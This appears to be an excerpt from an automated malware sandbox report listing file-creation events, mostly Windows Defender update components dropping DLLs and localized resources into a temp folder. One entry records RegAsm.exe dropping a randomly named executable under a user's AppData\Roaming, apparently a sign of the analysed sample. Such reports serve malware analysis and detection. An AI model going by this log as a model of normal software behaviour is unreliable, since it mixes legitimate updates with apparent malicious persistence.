        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpasbase.vdmJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\mpavbase.vdmJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpAzSubmit.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\bg-BG\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pt-PT\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sv-SE\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-MX\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\kn-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-US\ProtectionManagement.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\nl-NL\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ur-PK\mpuxagent.dll.mui
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile created: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\it-IT\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\uk-UA\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ml-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pa-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ru-RU\ProtectionManagement.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ko-KR\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpOAV.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\cs-CZ\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pl-PL\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\en-US\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ro-RO\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\tr-TR\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpRtp.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpUxAgent.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MsMpEng.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ar-SA\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\as-IN\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-ES\MpEvMsg.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\vi-VN\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\el-GR\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\quz-PE\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdBoot.sysJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\gd-GB\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\it-IT\ProtectionManagement.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\nl-NL\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sl-SI\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ta-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ko-KR\ProtectionManagement.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\lo-LA\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MsMpLics.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fi-FI\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\nb-NO\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\zh-TW\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sr-Latn-RS\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpCmdRun.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-US\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\bs-Latn-BA\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpEvMsg.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\hi-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sv-SE\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpUpdate.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\af-ZA\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ne-NP\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fi-FI\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\lv-LV\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\cy-GB\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\bn-IN\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ar-SA\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\et-EE\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fr-FR\ProtectionManagement.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\endpointdlp.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ja-JP\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\tt-RU\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\tr-TR\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSvc.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpCmdRun.exe
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\hu-HU\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\sr-Cyrl-RS\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\mpextms.exe
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\cs-CZ\MpEvMsg.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\nb-NO\MpEvMsg.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdNisDrv.sysJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\MpAsDesc.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\cs-CZ\mpuxagent.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\pl-PL\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fil-PH\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\it-IT\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\th-TH\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\nl-NL\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\nb-NO\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\kok-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\mk-MK\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\zh-CN\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\en-GB\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\lt-LT\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\zh-TW\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\el-GR\MpEvMsg.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\lb-LU\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\kk-KZ\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpClient.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\x86\endpointdlp.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\fa-IR\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\zh-TW\ProtectionManagement.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ProtectionManagement.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\hr-HR\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ru-RU\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\he-IL\MpAsDesc.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\bg-BG\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\es-MX\MpAsDesc.dll.muiJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpDetours.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\id-ID\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\mr-IN\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ConfigSecurityPolicy.exeJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\nn-NO\mpuxagent.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\zh-CN\ProtectionManagement.dll.mui
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpAsDesc.dllJump to dropped file
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ca-ES\MpAsDesc.dll.muiJump to dropped file
